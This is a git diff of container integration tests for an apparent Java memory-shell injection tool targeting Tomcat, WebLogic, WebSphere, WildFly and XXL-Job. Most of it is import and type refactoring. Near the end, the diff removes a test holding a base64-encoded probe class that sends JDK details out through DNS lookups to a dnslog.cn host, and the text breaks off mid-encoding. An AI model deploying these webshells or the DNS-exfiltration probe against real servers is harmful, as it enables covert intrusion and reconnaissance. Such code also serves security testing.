ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, @@ -82,7 +82,7 @@ public class SpringBoot3ContainerTest { } static Stream tomcatCasesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, // ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index 55b15cab..550e6182 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Tomcat10ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 18deebec..3da4f741 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -51,7 +51,7 @@ public class Tomcat11ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index 530d2b56..7e5ac4d1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -52,7 +52,7 @@ public class Tomcat11JRE21ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index 1744ac47..f5720f47 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -52,7 +52,7 @@ public class Tomcat5ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 2d71e991..0a29b481 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Tomcat6ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index 9ef50f5f..3f763c66 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Tomcat7ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index d415d29e..94218ae0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -1,11 +1,11 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index 6b45c612..4810d74c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -52,7 +52,7 @@ public class Tomcat8ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.SERVLET, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index ff6ff992..3ec8312c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -20,7 +20,6 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index c44ae5b7..74bf14af 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -20,7 +20,6 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index 07736938..707d5f95 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Tomcat9ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Tomcat; + String server = Server.Tomcat; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java index 0fabbc21..b6c8499e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -48,7 +48,7 @@ public class WebLogic1036ContainerTest { .withExposedPorts(7001); static Stream casesProvider() { - Server server = Server.WebLogic; + String server = Server.WebLogic; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index 8f127a05..2873a2f8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class WebLogic12214ContainerTest { .withExposedPorts(7001); static Stream casesProvider() { - Server server = Server.WebLogic; + String server = Server.WebLogic; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index a9dda82c..26ec696d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class WebLogic14110ContainerTest { .withExposedPorts(7001); static Stream casesProvider() { - Server server = Server.WebLogic; + String server = Server.WebLogic; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index cc7d4652..93e04f20 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -53,7 +53,7 @@ public class WebSphere855ContainerTest { .withPrivilegedMode(true); static Stream casesProvider() { - Server server = Server.WebSphere; + String server = Server.WebSphere; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 0724b04b..bb422bc4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -53,7 +53,7 @@ public class WebSphere905ContainerTest { .withPrivilegedMode(true); static Stream casesProvider() { - Server server = Server.WebSphere; + String server = Server.WebSphere; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index c56bf58d..5e6e020c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere7; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -53,7 +53,7 @@ public class WebSphere700ContainerTest { .withPrivilegedMode(true); static Stream casesProvider() { - Server server = Server.WebSphere; + String server = Server.WebSphere; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER // ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java index fef3681b..5cda16db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Wildfly18ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Undertow; + String server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java index 93295693..3f263576 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Wildfly23ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Undertow; + String server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java index a0e287fc..5aebc9db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -50,7 +50,7 @@ public class Wildfly30ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Undertow; + String server = Server.Undertow; List supportedShellTypes = List.of( ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index 569ce323..6d5f446c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -54,7 +54,7 @@ public class Wildfly9ContainerTest { .withExposedPorts(8080); static Stream casesProvider() { - Server server = Server.Undertow; + String server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java index fa166ad8..162f21ba 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.memshell.xxljob; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -21,7 +21,6 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -40,7 +39,7 @@ public class XxlJob220ContainerTest { .withExposedService("executor", 9999); static Stream casesProvider() { - Server server = Server.XXLJOB; + String server = Server.XXLJOB; List supportedShellTypes = List.of(ShellType.NETTY_HANDLER); List testPackers = List.of(Packers.XxlJob); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java index 1c033570..424998be 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.memshell.xxljob; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -21,7 +21,6 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -40,7 +39,7 @@ public class XxlJob230ContainerTest { .withExposedService("executor", 9999); static Stream casesProvider() { - Server server = Server.XXLJOB; + String server = Server.XXLJOB; List supportedShellTypes = List.of(ShellType.NETTY_HANDLER); List testPackers = List.of(Packers.XxlJob); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index 42540ee7..ea033a9b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -1,14 +1,12 @@ package com.reajason.javaweb.integration.probe; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; -import com.reajason.javaweb.util.ClassDefiner; +import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Test; /** * @author ReaJason @@ -35,15 +33,4 @@ public class DetectionTool { public static String getServerDetection() { return getBase64Class(ServerProbe.class); } - - @Test - void test() { - System.out.println(getServerDetection()); - } - - @Test - void testBase() { - byte[] bytes = Base64.decodeBase64("yv66vgAAADIAeQEAJW9yZy9hcGFjaGUvY29tbW9ucy9EcExrTC9FcnJvckhhbmRsZXIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAEaG9zdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAEG01OTV6Yi5kbnNsb2cuY24IAAcBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwALDAAJAAoKAAQADQEABmdldEpkawEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAPABAKAAIAEQEAAlx8CAATAQAQamF2YS9sYW5nL1N0cmluZwcAFQEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7DAAXABgKABYAGQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwAbCgAcAA0BAAhqZGtUeXBlLggAHgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAIAAhCgAcACIBAAh0b1N0cmluZwwAJAAQCgAcACUBAAxqYXZhVmVyc2lvbi4IACcBABFjbGFzc0ZpbGVWZXJzaW9uLggAKQEAE1tMamF2YS9sYW5nL1N0cmluZzsHACsBAAEuCAAtDAAFAAYJAAIALwEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAxAQAMZ2V0QWxsQnlOYW1lAQArKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbmV0L0luZXRBZGRyZXNzOwwAMwA0CgAyADUBAAlqYXZhLmhvbWUIADcBABBqYXZhL2xhbmcvU3lzdGVtBwA5AQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAOwA8CgA6AD0BAAxqYXZhL2lvL0ZpbGUHAD8BAA1zZXBhcmF0b3JDaGFyAQABQwwAQQBCCQBAAEMBAAlqYXZhYy5leGUIAEUBAAVqYXZhYwgARwEAA2JpbggASQEACXNlcGFyYXRvcgwASwAGCQBAAEwBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYMAAkATgoAQABPAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFEKAEAAUgEADWdldFBhcmVudEZpbGUBABAoKUxqYXZhL2lvL0ZpbGU7DABUAFUKAEAAVgEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFgKAEAAWQEABmV4aXN0cwEAAygpWgwAWwBcCgBAAF0BAANKREsIAF8BAANKUkUIAGEBAAxqYXZhLnZlcnNpb24IAGMBABBqYXZhL2xhbmcvRG91YmxlBwBlAQASamF2YS5jbGFzcy52ZXJzaW9uCABnCgBmAFIBAAhpbnRWYWx1ZQEAAygpSQwAagBrCgBmAGwBAAd2YWx1ZU9mAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DABuAG8KABYAcAEAAXwIAHIBAAg8Y2xpbml0PgoAAgANAQANQ29uc3RhbnRWYWx1ZQEABENvZGUBAA1TdGF